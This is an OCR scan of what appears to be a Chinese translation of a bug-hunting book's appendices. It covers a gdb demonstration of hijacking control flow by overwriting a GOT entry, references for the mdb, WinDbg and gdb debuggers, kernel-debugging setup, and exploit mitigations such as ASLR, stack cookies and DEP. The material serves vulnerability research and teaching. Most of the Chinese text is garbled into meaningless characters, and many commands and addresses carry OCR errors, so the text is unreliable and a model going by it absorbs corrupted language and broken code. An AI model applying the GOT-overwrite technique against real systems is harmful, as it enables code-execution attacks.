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XHEZ C/CHFRBAMBARFERN MR A CICHERFERI
B RNE UL B m) % 2 W8 R] 2% Mark Dowd . John McDonald #l Justin Schuh
HIZEVE The Art of Software Security Assessment: Identifying and Avoiding Software
Vulnerabilities (Addison-Wesley, 2007).

A4 GOTES

— B RBAFHIRRE, /R0 LB 2R KFRERFER 2 @

AREHRFRFRIE S04 M. Hoh—Fogy  Debion Linx 60 ¥ &
R4 GOT &% ., ELF ( Executable and Linkable Format ) Xt RFH A FriE4 5
1% #5% & ( GOT, Global Offset Table ), GOT B E st 2 Ei3#:4\ GOT FRA D%
EHITE S5 . XFEARRXT ELF XHRXAR, FrAE REB7E SR Fzs A m-F
& F T/ (#I40 Linux. Solaris 1 BSD ),

GOT {ii T ELF FIEIEEL P, Y. got Bt . BRI AR BTN B X XA MR E
ENF— N E, H R T e AR AT E A & ok B0 R 5 i 4 Xt
hE, BEEKARENERRR, E478644484%45% % (runtime link editor, rtld )
KRIHM TS, BERERENMF] GOT. ZEERKIAHX RSB ERNERE
FmAALE, MAFREA rd, EFEE A4 BETX—d#,

RA3EH A4 BR GOT SHRERAEBILAS (got.c)

01 #include <stdio.h>

02

03 int

04 main (void)

05 {

06 int i = 16;

07

08 printf ("%d\n", 1i);
09 printf (“%x\n", i);
10

11 return 0;

12 }

UISTE B A-4 PR PIK R A E RS printf(), ITHFEIRAFS ( debugging
symbol ) FeiFEi4 X M EF, ERIASFEIT (KT T XL fdidoy & 89
BRI BAT ),
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linux$ gcc -g -o got got.c

linux$ gdb

-q ./got

(gdb) set disassembly-flavor intel

(gdb) disassemble main

Dump of assembler code for function main:

0x080483c4 <main+0>: push  ebp

0x080483c5 <main+1>: mov  ebp,esp

Ox080483c7 <main+3>: and esp, oxfffffffo
0x080483ca <main+6>: sub esp,0x20

0x080483cd <main+9>: mov DWORD PTR [esp+0x1c],0x10
0x080483d5 <main+17>: mov eax, 0x80484d0
0x080483da <main+22>: mov edx,DWORD PTR [esp+Oxic]
0x080483de <main+26>: mov  DWORD PTR [esp+0x4],edx
0x080483e2 <main+30>: mov  DWORD PTR [esp],eax
0x080483e5 <main+33>: call o0x80482fc <printféplt>
0x080483ea <main+38>: mov eax,0x80484d4
0x080483ef <main+43>: mov  edx,DWORD PTR [esp+Oxic]
0x080483f3 <main+47>: mov  DWORD PTR [esp+Ox4],edx
0x080483f7 <main+51>:  mov DWORD PTR [esp],eax
ox080483fa <main+54>: call ox80482fc <printféplt>
0x080483ff <main+59>: mov eax,0x0

0x08048404 <main+64>: leave

0x08048405 <main+65>: ret

End of assembler dump.

XA~ main() BRELH RICRAVS B/ T it #2484 % ( Procedure Linkage Table,
PLT ) HpR & printf() AL . F1 GOT 3 B Jo 6 A ik B 8 {7 B 4 o7 B 210,
PLT 2K B T0 KB R B @ B4 X 8 .

(gdb) x/1i 0x80482fc
0x80482fc <printf@plt>: jmp

DWORD PTR ds:0x80495d8

XA~ PLT A B2 BBk 3| GOT,

(gdb) x/1x 0x80495d8
0x80495d8 < GLOBAL OFFSET TABLE +20>:

MR XA R iiRAEAR, GOT AO#E S| PLT, £ PLT 1, —/"&
FEARBEEARL, RERFHPITERE B _init()R%, 7EXH rtld B LIAA,
MTENL printf OS85 .

(gdb) x/2i 0x08048302
0x8048302 <printf@plt+6>:
0x8048307 <printf@plt+11>:

Ox08048302

0ox10
0x80482cc

Qush
Jjmp

BERNE B BHRKIARHRE printf ()R 24 T4 B5E, HIEREL printf()
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MR A EEIRT

SR WA RIRT B E — T

(gdb) list o

1 #include <stdio.h>

2

3 int

4 main (void)

5

6 int i = 16;

7

8 printf ("&d\n", 1i);
9 printf ("%x\n", i);
10

(gdb) break 9
Breakpoint 1 at 0x80483ea: file got.c, line 9.

RIGIBITREFF o

(gdb) xun
Starting program: /home/tk/BHD/got
16

Breakpoint 1, main () at got.c:9
9 printf ("¥%x\n", i);

WS, FIKRICH main R, HHERTHEA T R—/ PLT ik,

(gdb) disassemble main
Dump of assembler code for function main:

0x080483c4 <main+0>: push ebp

0x080483c5 <main+1>: mov ebp,esp

0x080483C7 <main+3>: and  esp,oxfffffffo
0x080483ca <main+6>: sub esp,0x20

0x080483cd <main+9>: mov DWORD PTR [esp+0xic],0x10
0x080483d5 <main+17>: mov eax,0x80484do
0x080483da <main+22>: mov edx,DWORD PTR [esp+Oxic]
0X080483de <main+26>: mov DWORD PTR [esp+0x4],edx
0x080483e2 <main+30>: mov DWORD PTR [esp],eax
0x080483e5 <main+33>: «call 0x80482fc <printf@plt>
0x080483ea <main+38>: mov eax,0x80484d4
0x080483ef <main+43>: mov edx,DWORD PTR [esp+0xic]
0x080483f3 <main+47>: mov  DWORD PTR [esp+0x4],edx
0x080483f7 <main+51>: mov  DWORD PTR [esp],eax
0x080483fa <main+54>: call 0x80482fc <printf@plt>
0x080483ff <main+59>: mov eax, 0x0

0x08048404 <main+64>: leave

Ox08048405 <main+65>: ret

End of assembler dump.

BasCE R T PLT ARy [El— Hahk,
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(gdb) x/1i ox80482fc
0x80482fc <printf@plt>: jmp  DWORD PTR ds:0x80495d8

AR PLT A B451H 7 BP3k¥E 3] GOT,

(gdb) x/1x 0x80495d8
0x80495d8 < GLOBAL OFFSET TABLE +20>:  Oxb7ed21c0

(HEX—K,printf() B GOT ALKAE T , B E HEZE M libc FH) printf()
PR

(gdb) x/10i oxb7ed21co

Oxb7ed21c0 <printf>: push  ebp

oxb7ed21c1 <printf+i>: mov ebp,esp

oxb7ed21c3 <printf+3>: push ebx

oxb7ed21c4 <printf+4>: call oOxb7eaiaaf

oxb7ed21c9 <printf+9>: add  ebx,0Oxfae2b

oxb7ed21cf <printf+15>: sub esp,0xc

oxb7ed21d2 <printf+18>: lea  eax,[ebp+Oxc]
oxb7ed21d5 <printf+21>: mov DWORD PTR [esp+0x8],eax
Oxb7ed21d9 <printf+25>: mov  eax,DWORD PTR [ebp+0x8]
oxb7ed21dc <printf+28>: mov DWORD PTR [esp+0x4],eax

PAE, WERINTME printf()A GOT A HE{E, #UATLATE printf ()41
et 458 I A2 T TR T 9L

(gdb) set variable *(0x80495d8)=0x41414141

(gdb) x/1x 0x80495d8
0x80495d8 < GLOBAL OFFSET_TABLE_+20>:  0x41414141

(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) info registers eip
eip 0x41414141 0x41414141

BAT5CEL T XF €IP B9 ) , B L A i X A IR TR A B AR 1) L5 4 B2
B E— T EE R GOT #uhl, FRWT MGG e &) FARERE A%, ]
LA{sE R objdump EX readelf fi4 .

linux$ objdump -R got
got: file format elf32-i386

DYNAMIC RELOCATION RECORDS
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OFFSET  TYPE VALUE

080495c0 R_386 GLOB DAT  _ gmon start _
080495d0 R_386_JUMP_SLOT _ gmon_start
080495d4 R_386_JUMP_SLOT  _ libc_start_main
080495d8 R_386_JUMP_SLOT  printf

linux$ readelf -r got
Relocation section '.rel.dyn' at offset Ox27c contains 1 entries:
Offset Info  Type Sym.Value Sym. Name
080495c0 00000106 R_386 GLOB DAT 00000000 _ gmon start

Relocation section '.rel.plt’' at offset 0x284 contains 3 entries:
Offset Info - Type Sym.Value Sym. Name

080495d0 00000107 R_386_JUMP_SLOT 00000000 _ gmon_start__
080495d4 00000207 R_386_JUMP SLOT 00000000 _ libc_start main
080495d8 00000307 R_386_JUMP_SLOT 00000000 printf
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ME

[1] ELF A7) &8 TIS &R &/ Tool Interface Standard( TIS ) Executable and Linking Format
(ELF ) Specification, Version 1.2, 1995, #4¥%; http://refspecs.freestandards.org/elf/elf.pdf ( 4

#it 7 http://bit.ly/z2c6qz )
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A= b > A B BR A il A MR AR SRS TR E o

B.1 Solaris BY Modular §ix28 (mdb)

LA RBFIH T —2H M mdb ( Solaris Modular Debugger ) 74, SERM
A] F 453 W, Solaris Modular Debugger Guide !/,

B.1.1 RB#EF4R mdb

o 4 ] i
mdb program JEzhmdb ¥ 4418 ik program
mdb unix.<ny R it dump 3 # _FiEf7mdb (unix. <n>Fvmcore. <n> 3043 # "TLAZE
vmcore.<n» H F/var/crash/<hostname>h } H| )
$q 1B HH A 3%
B1.2 EA&®S
fiv 4 a . 3

::run arguments EiTEIRRARF (5edHarguments ), IR Bl FESITRE—
: MBS, mdbAlEES R R
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B.1.3 Ei&
fir & 1 .3
address: :bp TEdn 45 i AYaddress{y B 2bi%k B — 1~ B A 4,
$b e Bl aiER
: :delete number FBEE 7 BT i% B AYFE number /-1

B.1.4 @Z{TARXBIR

w % W R
:s PITHERIES, SBRPHATERE
e PITRFREES, FEHEANTEY
ic e T
B.1.5 TEHIE

w F .

address, LG E# R format4TEN bt addressib3E EH | (count) MIXTR, Hikks

count/format RAHEB (A6, 15%), X (KN#EH, 45%), S (FH4E)

B.16 RTINS

B < R

$r FIHEFENEFEE

$c FTEN e B P A0 [0 39

address::dis LABLE 54 TR ifaddressPif it — BRI TEIA R
B.1.7 Hftwm<

B 2 .

: :status TENS YaT HirsE MG BRE

: :msgbuf EREBAMEMNAR, BEANBERRZABRAEIEFHEER

B.2 Windows i#iXgF (WinDbg)

PIFFRRSHE T WinDbg #—28 ARMER WS . STBEAT HmSdRA L
#% Mario Hewardt 1 Daniel Pravat fiT & ) Advanced Windows Debugging — 38,
WinDbg B 30
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B.2.1 BaMERIFRASIE
B % #o R

File » Open Executable... A tiFile¥ #HOpen Executable3k J5 58—/~ #AY A P S H LA R
File » Attach to a Process...  pidiFile3£ 8 #%) Attach to a Process 3 ilif — N EZE BT P S ARF
q R &S
B.2.2 EHA®%

fr & R

g F iR AREE T
B.2.3 W&

fr £ R

bp address E 4 EfYaddressibik B — 4~ FTHf 2

bl I A ik B AMEE

bc breakpoint ID F8Brbreakpoint D fify 1% MG S

B.24 ZEITRIXBFF

w2 1 "

PATE RIS RRTIRNRN, H (W) BrRFRAHESIRE
RIS RTE. Za LSS BPHA TR

p PATE RIS SCRITIRE, H (W) Boria&FSites
(IR MANE, RS ASEATEE

'-r

B.25 BEFHHE
fir 4 1] g
dd address LA {8 (45) BmaddressHbhtRIANZS
du address Llunicode=E#F 5 A B addressihE N 2

dt EREHER, 2RERREHERDREFEFEREETNER

Mg ERaddressib bR Bl f4Hc BERV %R (pointer-sized data), F5EHRY
FoREI2NEE 640, BT ARG

poi(address)

B26 EREAWS

w % # R

r FIHEFRFFEE

kb FTEN e B VR AR Y (2] 35

u address LAHL2 a4 A A4 fifaddresspii L — BR AR A 2
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B.2.7 Hit®%
@ % R
lanalyze -v ZERFT RERXTRYIRHRAENKREARAGE
drvobj DRIVER OBJECT iZiHiA 82§ & B RORIVER_OBIECTRYI¥&4H{E B
.sympath X AR RRR T S RENRIAKE
.reload X &S MR A B EFEERMEFS

B.3 Windows W%z

AT HHE 6 EHARNER, FE -7 Windows AR . A
VMwareHl WinDbg! LA T A B a2 5 iR I 18 .

QF—#: ARBAZHRRE VMware A EHIEPRFPEHKT
EFHLARS KR 4+ . VMware Workstation
QF . RABEFILASH boot.ini, 6.5.2 o winDbg 6.10.3.233.
Q 5 =4 . HEK Windows WAZELE VMware
& EHL_E A WinDbg.

B.3.1 ¥—%: AEREBEAZARESRE VMware HEFRILRES

%% T Windows XP SP3 VMware & FHLRGEZ /G, XA THFILRGEIN
VMware [#r42 [X ( Commands section ) HH1%# Edit Virtual Machine Settings, $R/5
Al Add FEE i —SER S O, EEEE B-1 M B-2 BRKEE

| Add Hardware Wizard

Serial Port Type
What meda shousd thes senal port access”

| Seral port
Lise phyacal serial port on the hast
Output to fle

@ Owtput 1o named ppe

< gack bext> || . Gance

A B-1 HE|dyaEil
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Bl B2 fwmAEHESR

BB OBRMENE, BRE “VOmode” XIEE#HET “Yield CPUonpoll” &
EHE, WA B-3 iR,

1 Dewice siahx
P riepaei

| | maltiard Disk (IDE)
| ) CDAVD (IDE)
| 4 Fiopoy

|| ¥inetwork Adapter

: USE Controler
| ¥ Sound Card

| [#| Connect at powsr pn
. Connecton
Lse physical seral port:

ol T

Lise outpit file:

| | @senarort
|| BPospiay

i & Use naped pipe:
. Ml B o eenes

. fpepe icom_1
| Thes end is the server.
| The ather énd & an applicabon.

10 mods
Alovw the guest operabing syshem tr use this serial
po b poded mode (as opposed to nkermuipt mode). |
I

i

B-3 #r&OMRE

B.3.2 HIH. AEEFHLALM boot.ini

RIE I8 313X 1~ VMware & P 246348 Windows XP ) boot.ini 3C{F, DIE
DATFECED (AL EEAEAR ).
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[boot loader]

timeout=30

default=multi(o)disk(0)rdisk(o)partition(1) \WINDOWS

[operating systems]

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional” /

noexecute=optin /fastdetect
multi(o)disk(0)rdisk(o)partition(1)\WINDOWS="Microsoft Windows XP Professional -

Debug"” /fastdetect /debugport=comi

RERERBFFILAS, EBEERATRFHIME “Microsoft Windows XP
Professional — Debug [debugger enabled]” KJazh &%, WK B-4 s,

Tearn ‘Windows Heip

l s afe oop Neee 058 35

I 7o direct input e this VM, click inside or press Cirte 6.

Al B-4  Fri)E sh3E L

B33 ZFE=#¥: AiRX Windows A#%ECE VMware 78 £ #1_E /) WinDbg

e —E i RECE VMware T8 4L A WinDbg, LAf# 1l WinDbg 18 14 1 b
% VMware & PHLAGEHANZ L, A, RBAE T —NnAE B-5 Frsitab 2
X,

W File Edit Format View Help
aiwindbg -b -k com:pipe,port='\."pipe‘com_1,resets=0

B-5 WA WinDbg fttAb 2 3 {4
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RIS, SEEAHEANEE SO, #8 VMware 18 £H1_E B WinDbg MHin%] VMware
Windows XP Z LRGN L, WK B-6 AT,

K trﬁct:nm';;beptlun - code 80000003 (first chance)
T R R R T R s e R e e e e S e S R e e R s e s s e T

You are seeing this message hecause you pressed either
CTRL+C (1f wou run kd sre) or.
CTRL+BREAE (1f wou run WinDBG)

on your debugger machines's keyboard

THIS IS WOT 4 BUG OR A SYSTEM CRASH

o
e

™
U
.
A
.

-

/
e Tf you did not intend to break inte the debugger, pres=s the "g" key. then

i® press the "Enter” key now This message might inmediately reappear If 1t
‘I doms, press "g" and "Enter" agsain
R

*E ROk E R R oE RS K

00000 000000000000 00 000 00 0 0000 00
lint | DbgBreakFPointUithStatus+0xd
00527bde cc int 3

R P T Wl L

en g oraarry e + g e e

bn® Cobl  Svsd:KdSrvS ProcOf  Thed @080 22

B-6 B ERERAF (WinDbg )

B.4 GNU A 2%

DIF#E#FIH T —4A A GNU #i#5 (gdb) 4. BB AmSE
T, gdb FELR 304,
B.4.1 ZahFILER gdb

r % #w iR
gdb program JazhgdbIF 4f1H ik program
quit 1B H MR 2%

B4.2 BAWS

w % i T
run arguments BT IR (ff28%argunents)
attach processID 12181 2 M A PIDhprocess IDAYHEER
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MxB A i 165

w @

1 T

break <file:> function
break <file:> line number
break *address

info breakpoints

delete number

fEfeE R EMfunction (Srfhfiledh) #2b4hbis B /MU 5
fEline number (3Cfffilesh) $HEMIRLITRLALIZE /8 &
fEaddressibht 4bisk B —/ 87 2

FiHC IR R AER

B ERnumber g 1 i 15 B BT 25,

B.4.4 E{TiARBHR

w % W R
stepi PIT—FHLEFES. RLHA TR
nexti Wit —FULEFHES. PEEATHERE
continue HkEEbh 47
B.45 TEXIE
B £ # R

x/CountFormatSize LAE g Format{TEl b bt addressibigie K /vSize, I E X B CountfIit R
address Size: b (), h (), w (), g (giant8F7)
Format; o (/\i##l]), x (7528, d (+ZHl), v (XFFS+iEHl), t (=

2, f

(A%, a (Heab), 1 (38S), ¢ (F4), s (FH#)

B4.6 E2&EawS

£

T .

info registers
backtrace

disassemble address

FIHHFFRMFFEE
¥TEN el 8 F AR Y =2 39
LAPLEE 84 B fifaddressHi i —BR N FRIA A

B4.7 Hitwfwm%
fig 4 (.
set disassembly -flavor intel|att i% B L4 A Ay Intel s & AT&TIL Wik k. RRIAGEH
AT&TiEH:
shell command #h 4 7shell fir £ command
set variable *(address)=value fPvalueff {7 Bladdressfg ERI LB
source file MICtEfileig ARIA SR M4

set follow-fork-mode parent|child

R iR IR S B ER St BEparent X Tl B child
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B.5 M Linux €4 Mac OS X A4%iEiX e £41

XN —E Linux REA4E N Mac 0S X WZ IR EVLATEG SR
QF—k. FHE—ITHEM Red Hat 7.3 Linux #4ER S

QX KRS EMNRIA,

O £ =#: 7F Linux FHL EME Apple AT

Q . HERTERAE,

B.5.1 E—%¥:. RE—1THER Red Hat 7.3 Linux I#{E &%

DX K Bir i FH B Apple GNU i %8 ( gdb ) RRATEZE A 3 DA L GNU C 4/iF
2% (gec) AREIEFIME, R TRIFLE T #EM Red Hat 7.3 Linux RES, &3
BPEFE B e LERBR,, TEEFE LA (Package Group Selection ) i, 7E&AFF
AL R Hik$E T Network Support, Software Development Fl OpenSSH £, iX
oAl T Linux g% Apple gdb AFF A & T EME, ZRBREM T —
M EFHUA P tk, P FE HE A /home/tk,

B.5.2 HTH: RELEMNRHEE

RINE%E Linux FHLZ )G, R FETLTFRIEE,

Q Apple & HIAH gdb BEALAS© .

Q GNU Fr#ERRAH) gdb WARTE

Q 7E Linux F %% Apple gdb H— 4T B,

Q FR A XNU WA AR . B EHER Linux IR FEVORMIRS 7 24
REIRH bug, BT T XNU A 792.13.87%,

Q AR K Apple WA EL ( Apple’s Kernel Debug Kit ). FKIETE Mac OS X
10.4.8 FRBLTH 7 THITHIRA bug, FHILIR T 8 T AN 8 AR AR
7 10.4.8 ( Kernel_Debug_Kit 10.4.8 81.2127.dmg )o

B.5.3 E=#: 7 Linux £¥l L#3}Z Apple A 2§
fE Linux EHL F FELEXRMALZE, #ELL TR EAR gdb,

linux$ tar xvzf gdb-292.tar.gz
linux$ tar xvzf gdb-5.3.tar.gz

$RJGF GNU gdb #J mmalloc HRE# T Apple IRACHH BIAHL H % .
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linux$ mv gdb-292/sxc/mmalloc gdb-292/src/old_mmalloc
linux$ cp -R gdb-5.3/mmalloc gdb-292/src/

7 Apple R4y gdb R FRAMT o

linux$ cd gdb-292/src/

linux$ patch -p2 < ../../osx_gdb.patch
patching file gdb/doc/stabs.texinfo
patching file gdb/fix-and-continue.c
patching file gdb/mach-defs.h

patching file gdb/macosx/macosx-nat-dyld.h
patching file gdb/mi/mi-cmd-stack.c

FERAU TS EELZERE,
linux$ su
Password:
linux# pwd

/home/tk/gdb-292/src

linux# c¢d readline
linux# ./configure; make

linux# ¢d ../bfd

linux# ./configure --target=i386-apple-darwin --program-suffix=_osx; make; -

make install

linux# cd ../mmalloc
linux# ./configure; make; make install

linux# cd ../intl
linux# ./configure; make; make install

linux# cd ../libiberty
linux# ./configure; make; make install

linux#t cd ../opcodes

linux# ./configure --target=i386-apple-darwin --program-suffix=_osx; make; -

make install

FAERRR AR A S, RETI XNU WAL IS 5 — 2834 30443 Linux &

PLBY include B &,

linux# cd /home/tk

linux# tar -zxvf xnu-792.13.8.tar.gz

linux# cp -R xnu-792.13.8/0sfmk/1386/ /usx/include/
linux# cp -R xnu-792.13.8/bsd/i386/ /usr/include/
cp: overwrite " /usr/include/i386/Makefile’? y

cp: overwrite "/usr/include/i386/endian.h’'? y

cp: overwrite "“/usr/include/i386/exec.h'? y

cp: overwrite " /usr/include/i386/setjmp.h’'? y
linux# cp -R xnu-792.13.8/osfmk/mach /usr/include/
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RIGHAEFTHY_types.h SR — S8R X, B ifin s (L5
3947, AT T81TE5E 8117 ),

linux# vi +38 /usr/include/i386/ types.h

[..]
38 #ifdef _ GNUC

39 // typedef __signed char __int8_t;
40 #else /¥ | _CNUC__ */

41 typedef char __int8 t;

42 #endif /% |__GNUC__ */

43 // typedef unsigned char __uint8_t;
44 // typedef short __int16_t;
45 // typedef unsigned short __uinti6_t;
46 // typedef int __int32_t;
47 // typedef unsigned int __uint32_t;
48 // typedef long long __int64_t;
49 // typedef unsigned long long __uint64_t;
78 //typedef union {

79 // char __mbstate8[128];

80 // long long _mbstatel; /* for alignment */

81 //} __mbstate_t;

25 30/ /mome/tk/gdb-292/src/gdb/macosx/i386-macosx-tdep.c FHi—> include,

Linux# vi +24 /home/tk/gdb-292/src/gdb/macosx/i386-macosx-tdep.c
[..]

24 #include <string.h>

25 #include "defs.h”

26 #include "frame.h"

27 #include "inferior.h"

(-]
)5, FLUTap< gk aias

linux# cd gdb-292/sxc/gdb/
linux# ./configure --target=i386-apple-darwin --program-suffix=_osx --disable-gdbtk

linux# make; make install

HiFSelE , A root S @478 A28, LIEBETE /usr/local/bin/ F B IF S

linux# cd /home/tk
linux# gdb_osx -q
(gdb) quit

i, AASRERLFT .
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B.54 %MWY HEZF XN

7E Mac OS X TRESE T HE AR IEAE (Kernel Debug Kit ) 5 & MUK T4

(dmg ), 3t scp a2 E3CHHED) Linux L L, 3% H 744 & KernelDebugKit
10.4.8, LT XNU BEAMSE B2 HILAE0EREET,

linux# mkdir /SourceCache
linux# mkdixr /SourceCache/xnu
linux#t mv xnu-792.13.8 /SourceCache/xnu/

5 TR, RO LA T TR AR RER 8 EE— & Mac 0S X 4%,

BE

(1]
(2]
[3]

(4]
(5]

(6]

(7]

(8]

[9]

I, Solaris Modular Debugger Guide: http://dlc.sun.com/osol/docs/content/ MODDEBUG/ moddebug.
html (4544 http://bit.ly/wVpBKS ),

I http://www.vmware.com/,

I http://www.microsoft.com/whdc/DevTools/Debugging/default.mspx ( 4244 http:/bit.ly/Akd3nd ).
W http://www.gnu.org/software/gdb/documentation/ ( ik A http://bit.1ly/13bj3w ),

BEA — L] HRER T s G T L1533 Red Hat 7.3 9 ISO MR . BEARTRGHT, LI
T X IR A 8 . http://ftp-stud.hs-esslingen.de/Mirrors/archive.download.redhat.com/
redhat/linux/7.3/de/iso/i386/ ( %4t A http://bit.ly/Ifacfn ), http:/mirror.fraunhofer.de/archive.
download.redhat.com/redhat/linux/7.3/en/iso/i386/ ( 4&iik & http://bit.ly/Ifasem ), http://mirror.
cs.wisc.edw/pub/mirrors/linux/archive.download.redhat. com/redhat/linux/7.3/en/iso/i386/ ( 524k
A http://bit.ly/HVo3o0i ),

Apple B XREAM gdb TEALBAT M LLTF Mk F#: http://www.opensource.apple.com/
tarballs/gdb/gdb-292.tar.gz ( &Lhk4 http:/bit.ly/IbY3IW ),

GNU #r#ERRA 8 gdb THACES AT MLAF P4k T %K : http://fip.gnu.org/pub/gnu/gdb/gdb-5.3.tar.gz
( &4k http://bit.ly/119Z05 ),

Apple £ GNU #8284 T o] A LA P HEZREX ; http://www.trapkit.de/books/bhd/osx_gdb.patch
( &4k A http://bit.ly/IZOXEP ),

XNU 4= 792.13.8 AT LA FRIAETF#E: hitp://www.opensource.apple.com/tarballs/xnu/xnu-
792.13.8.tar.gz ( 5E4E W hitp://bit.ly/HUs63y ).
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AR SRR AEBEEARAEXER.

CA ERFBEREA

m%, AT iERAFR B R A S AT e AXE, A0 7 & i
A FAZRBSARTILS] . BAATRISARA LUF LA

Q ik zs [ A jREEP4E (ASLR)

Q %&£ cookie (/GS ), HRE M X%k {&H" ( Stack-Smashing Protection, SSP ),
i # Stack Canaries

Q BHEPITRIPEAR (DEP), AR ATHRITHFRF (NX)

Mok, F SR BREARBREMBRERE T 6 . FEAFERAHESCBLILH] al0H

PREA SO (#0 SafeSEH. SEHOP B{ RELRO (. C2 %) %) 48E. B4k
A — SRR, WM cookie ( heap cookies ). FEHLIL ( randomization ). safe
unlinking 5§ .

XAZEMEAR, RUEREHA—AFHT, AHXEREFNARAITH
JLFE AR AL T A,
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IR ARFAARAEMBE AR X BR KRG FEZIR, TFRAAKAN, LE2R
JA b X e U] o B SRR T AR AR X AY B OU T R AR 3 A A o

C.1.1 ut=EHmEREHE (ASLR)

ASLR REYAL RS E P X MO E AR PET RS ERRE . £& .
HEFBEEAALES ), MBS IERA R FOEERED Birtuht, BRORERSE|—4
write 4 primitive i, HYLSTEEMPBHAFVES AEERN 4 1MFT, RE
F—ANARMAFERES, XEIREMRTEBEINLHEFANIE. BT
ASLR, EEAREMANFMNEREEL T, MR, ASLR AALEEMRAAK.

C.1.2 =% cookie (/GS), B MXiEH IR (SSP),
g & Stack Canaries

X T A [ — MR A canary B cookie, SR -5 i R E FHAH S B sR &K
JURAE (Blan& [Eht ), FEACEER Bt 2 A, 7 SRH canary 3% cookie A
Bk, R EABIENSEHAS, RIFREHSEA L. EEREE—
X FEMRE AR R MR BP R — MR PR R, EMAERERAER, P

C.1.3 NX#1DEP

NX fii (No eXecute bit ) & CPU B—Fp4stE, AIBH 17 #EFR 89 8HE NAFE LI
EATIES ., FERABERGI KA T NX i, FERHKE Windows |, SR
il ] DEP ( Data Execution Prevention ) 2332 CPU i) NX i, ¥#FfEehReH
B A Al AT RIS R RN E 28 ARC A 44T . DEP & Windows XP SP2
PAK Windows Server 2003 SP1 5| AR, 7E Linux |-, NX f13ZfF AMD Fl Intel 64
{if CPU By NSRRI SEHE . X T7EE /9 32 i x86 CPU =47/ Linux, ExecShield ©
A PaXHEIL T NX ThfE,

C.1.4 WA RBEF PEBEEAK

HEZAGET X ERMEARZ AT, SR X BTETT # 2R S PRy A A R P
AR



172 | HRC ZE|MEA

EFFREY AP MG BAEIN, S0 R RREIERl. Blan, Windows &
FmtRVE RGERIFIA R G R DEP REGFRA Optin, 1EXFFEMEREAT, DEP LU
BAHINA DEP W F2R/EM . #EINA DEP W ERERE. B, RATLIE
SaiRnt FHAE M ABERETF C (/NXCOMPAT ), =& {#H API SetProcessDEPPolicy LA
e 2R R FF DA 3| DEP #, Windows 2 ¢ 4 fht#E{435 % DEP I RGEHK
AL B!, 7F Windows Vista X JF4EhiAs_ b, A LA RS & 5 FIFRF bededit.exe K
WUEARSEHR DEP SKHg, HEXLIMIEARESH) Windows frS47HE1T. A
Sysinternal fJ Process Explorer S&IF % FIF2/F 4 DEP 1 ASLR 12 &,

& 2% Process Explorer &2 & &% B #4249 DEP #» ASLR &k &, & E£MH
K (View ) 3##0 L F#3F].: View > Select Columns > DEP Status # View >
Select Columns > ASLR Enabled, st T AK BRSNS 0 k& Fik424¢
A DLL, 3%/ “ASLR Enabled” %] (JLHE C-1).

h F Qationg Process Find DL Users  Help
B R e
I TRE R R I X _—m—%!
il Frocess PID DEF ASLRA
S maplare g | 1224 DEF spermarmrd) ASLR
A amplare v Z1LE DEF permarsant) ﬂ.ﬂ '
2 eplore s 2277 DEF jpwrmizract ) g
Swglmne fvmﬁ i W R
! = n | pAEuncher exe
i D 0 i
; ﬁmme.m | m52 =
| | e Crescrpdion Company Name \ermon ASLR * IJ
' WINSPOOL DR Nindowe-Soootereber Microsolt Comoraticn B 1 750096385 ASLR !
Iff Chtrans Direct® Media - DirectX, Traasform. . Microsoft Comoration £ 760016385 ASLR
i ATLDLL ATL Maduls for Windows 2F (Uric . Microsoft Comonstion 352284 0 ASLH
i s dl Dwwct Drawi Bx Misroaoh Comoration E.1 7EDD TE1ES RELR
i TORAW di Microsoft DirectDiaw Wicrosof, Comomaticn B 1.7500.16383 ASLR

i DOV AN EZ di D1 Marnager Microaoht Consormlion E 1 7EDD 16383 ASLE
i Coetrsdt Cermct ¥, Media - Image Dvect Tra. . Macrosoff Coporafion E.0. 7500 16383 ASLFE
| wanci 12 A Windows Sochet 2282 DLL Microsofi Camoration £.1.7600.16365 ASLR
Bibbothek fur Steusnsiemsnts Microsoh Comoration %82 TeDD 1hE31 ASLR
DHCP Chent dinnist Microsoll Comparation f 1 E"ﬁ' '.1733

) E"-EF‘-«E-. Mua-:d’f Em:nmtlm

i el A il R y
dava(THE Platform SE bnary Sun f-‘«:ci'du'n: ne
Jawa Hot Spot{Th Cherd WM Swin Microsystems, nc 13102

Jaive{TM; Platform SE beary S Weornaystems. e EL 2407

Javai{TMj Flsiform SE binary Sun Microgystems , inc &0.2407

Jawa{T M) Platfam SE ey Sun Microsysiems, nc b {240 7

Jawa{T) Platfarm SE binary Sun Microsystems, inc CD2407
4] 1o 2native df Jawa{TM} Plafom SE binary Sur Microaystems, o 602407
| depioy 4 Jaws{TM} Deployment L Sun Microsystems. inc EfaaC7 \
Yretdi . Jowa(T ) Fiatfom SE bmary _Sun Moomystems inc. 602407 =

i cru U-L-!gt ? 58% E ommit ._harge‘ _i'_f»E"& F'm CBSLES IH' Phur; <al U:.age 1 151'.-

R T T R T T T T

P C-1 Process Explorer i/~ ) DEP #l ASLR fR7Z

FThRAH) Windows ( Vista X 2ZJG R4S ) BRIAHLSZFF ASLR, {H&Z DLL Hl
EXE W 701s 545 %/DYNAMICBASE Bl A ASLR %5, IF &, A—SBEE,
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IR AR R R T A BHRE I AXT ASLR B2 5, B8 Re B E W55, Lhrt,
1% DEP 1 ASLR XK ZEEBARWANEZ IR TN AR EZ TS . SR
BT E—fEmeER,

- B C-1 &7 T —F Process Explorer K % IE i DEP il ASLR B & KB T
FEMRE IE #E L TFCPRY Java DLL A ASLR ( HESBE 0 ASLR 7
HIZSHBR ), ikt &4 T —3KFK N BinScope Binary Analyzer B T E®| F
BEA, R ZHEHI U & T 2R

1% DEP 7 ASLR #RIEHFE, T RRAFAEFHEEFZ,

EHE N Windows ZHEH| SR E FFE L cookie (/GS) EEHAR, 7f
LAA IDA Pro U #aiX > —#F il S04 I ZE R B AT F4684 (function prologue ) 1
tH A4584 (function epilogue ) 4bF#XX}44 cookie BT, B C-2 FirR,

[nou edi, edi
push ebp
mow ebp, esp
sub esp, 26Ch
Moy eax,  security_cookie
xor eax, ebp
mou [ebptuvar_ 4], eax
noy eax, [ebp+arg (]
test eax, eax
mnoy edx, dword ptr [ebp+irgs]
may ecx, [ebp+arg 8]
push esi
moy esi, [ebp+hHadule]
hE: loc_LB74FB
»
EANw Sgi=)
out of scope
!
Y
N Wl
loc_4074FD:
mow ecx, [ebp+uvar_h]
xOr ecx, ebp
!pup i
call P_ security check _cookie@f ; security check cookie(x)
leave
retn 18h
